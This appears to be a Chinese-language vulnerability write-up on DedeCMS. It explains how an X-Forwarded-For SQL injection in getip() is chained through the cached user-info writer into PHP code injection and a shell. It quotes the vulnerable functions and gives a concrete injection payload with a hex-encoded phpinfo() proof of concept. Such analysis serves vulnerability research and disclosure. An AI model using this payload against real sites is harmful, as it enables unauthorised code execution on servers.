flyh4t在非安全发布了dedecms getip()的注射漏洞,漏洞本身的成因没什么好说的老掉牙的X-Forwarded-For的问题,我想这个漏洞很多人都找到了,不过这个漏洞的利用有个地方还是可以说说的,可以直接得到shell:
在用户登陆后把用户信息写如了缓存:\include\inc_memberlogin.php
function FushCache($mid=0)
{
if(empty($mid)) $mid = $this->M_ID;
$dsql = new DedeSql();
$row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");
if(is_array($row))
{
$scrow = $dsql->GetOne("Select titles From #@__scores where integral<={$row['scores']} order by integral desc");
$row['honor'] = $scrow['titles'];
}
if(is_array($row)) return WriteUserInfos($mid,$row); //这里
else return '';
}
WriteUserInfos()的代码:
//写入用户的会话信息
function WriteUserInfos($uid,$row)
{
$tpath = ceil($uid/5000);
$ndir = dirname(__FILE__)."/cache/user/$tpath/";
if(!is_dir($ndir)){
mkdir($ndir,0777);
chmod($ndir,0777);
}
$userfile = $ndir.$uid.'.php';
$infos = "<"."?php\r\n";
$infos .= "\$cfg_userinfos['wtime'] = '".mytime()."';\r\n";
foreach($row as $k=>$v){
if(ereg('[^0-9]',$k)){
$v = str_replace("'","\\'",$v); //这个是利用的关键 :)
$v = ereg_replace("(<\?|\?>)","",$v);
$infos .= "\$cfg_userinfos['{$k}'] = '{$v}';\r\n";
}
}
$infos .= "\r\n?".">";
@$fp = fopen($userfile,'w');
@flock($fp);
@fwrite($fp,$infos);
@fclose($fp);
return $infos;
}
我们构造$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";
mysql> select 0x68656967655C273B706870696E666F28293B2F2F;
+--------------------------------------------+
| 0x68656967655C273B706870696E666F28293B2F2F |
+--------------------------------------------+
| heige\';phpinfo();// |
+--------------------------------------------+
1 row in set (0.00 sec)
利用流程:
A:
else{ //成功登录
//$ipp="121.11.11.1',uname=0x68656967655C273B706870696E666F28293B2F2F,uptime='1";
$dsql->ExecuteNoneQuery("update #@__member set logintime='".mytime()."',loginip='".$ipp."' where ID='{$row['ID']}';");
B:FushCache()
$row = $dsql->GetOne("Select ID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpm From #@__member where ID='{$mid}' ");
C:WriteUserInfos()
heige\';phpinfo();// ---str_replace-->heige\\';phpinfo();//---fwrite--->heige\\';phpinfo();//
===>$cfg_userinfos['uname'] = 'heige\\';phpinfo();//'; 完美闭和前面的' :)
其中str_replace的部分相当于代码:
<?php
$v="heige\';phpinfo();//";
$v = str_replace("'","\\'",$v);
print $v;
?>
整个过程其实就是一个很完整的"二次攻击",而str_replace("'","\\'",$v);起了关键性的作用.